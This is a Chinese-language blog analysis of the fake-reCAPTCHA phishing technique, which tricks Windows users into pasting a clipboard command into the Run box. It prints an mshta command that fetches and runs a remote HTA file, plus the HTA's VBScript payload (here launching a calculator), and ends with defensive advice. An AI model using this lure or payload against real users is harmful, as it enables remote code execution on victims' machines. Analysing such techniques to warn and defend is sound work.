Recaptcha钓鱼攻击
reCaptcha在很多网站中都有使用,主要用于真人检测,阻止来自机器人的请求。
那么针对reCaptcha的钓鱼攻击手法也就应运而生了,例如8月-9月较为流行的reCaptcha钓鱼攻击手法如下。
JohnHammond针对攻击手法进行了复现,仓库是https://github.com/JohnHammond/recaptcha-phish。这里我们来看看具体是怎么做的。
伪造一个Recaptcha页面
通过直接加载Google的reCaptcha中用到的图标来模仿,看起来和Google的reCaptcha几乎一模一样。
最后实现以假乱真。
通过JS来模拟用户点击后的弹窗,但是注意这里的verify按钮实际上是disable的。故意如此,不然用户去点击验证按钮,而是通过引导用户去进行手动验证。这里实际上是忽悠用户去使用自己的Windows去执行攻击者预设的攻击载荷。
此处已经通过JS自动填充命令到粘贴版,因此直接ctrl+v就可以粘贴负载。
自动填充的命令:
mshta http://127.0.0.1:8000/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 6003''
可以看到这里实际上远程加载一个HTA文件,而受害者通过enter执行运行该命令,就回去加载HTA文件,并最终执行HTA中的恶意命令。
我们下面具体看看HTA文件里怎么写的。这里的payload设置是启动计算器,所以成功弹出计算器,并附带一个迷惑受害者的验证窗口。
具体怎么写的呢,如下:
<body>
<img src="https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png" alt="reCAPTCHA Logo">
<div id="connecting" style="display:block;">
<p>Verifying reCAPTCHA, please wait...</p>
</div>
<div id="error" style="display:none;">
<p><b>Failed to connect with the reCAPTCHA server.</b><br>
Try the verification steps again.</p>
</div>
<p class="terms">
<a href="https://www.google.com/intl/en/policies/privacy/">Privacy</a> -
<a href="https://www.google.com/intl/en/policies/terms/">Terms</a>
</p>
</body>
此处,伪造了一个reCaptcha~~~~弹窗。
而恶意攻击负载通过在script标签中内置VB脚本来执行:
<script language="VBScript">
Sub Window_onLoad
Window.ResizeTo 520, 480
Window.MoveTo (Screen.Width - 300) / 2, (Screen.Height - 400) / 2
Set objShell = CreateObject("WScript.Shell")
objShell.Run "calc.exe", 0, False
ClearClipboard
objShell.Run "timeout /T 2 /nobreak", 0, True
Call HideConnectingShowError
objShell.Run "timeout /T 1 /nobreak", 0, True
End Sub
Sub HideConnectingShowError
document.getElementById("connecting").style.display = "none"
document.getElementById("error").style.display = "block"
End Sub
Sub ClearClipboard
Dim objHTML
Set objHTML = CreateObject("htmlfile")
objHTML.parentWindow.clipboardData.setData "text", ""
Set objHTML = Nothing
End Sub
</script>
攻击效果
弹出一个reCaptcha弹出并执行恶意负载(弹出计算器)
实际上,你也可以通过修改HTA文件中的恶意负载来执行其他操作。
目前该手法已经在8-9月成为在野利用的主要钓鱼攻击手段之一,这告诉千万不要随意根据要求在自己的PC上进行自己不了解的操作。值得注意的是,钓鱼攻击手段不断跟进日常常见的场景进行,对常见验证场景进行重新编排,诱导受害者自行进行敏感操作。
安全防护
1、遇到验证类的页面,也请判断域名是否十分可疑。
2、不要随意按照网页提示进行自己不了解的操作,特别是涉及到使用CMD和Windows运行窗口的操作。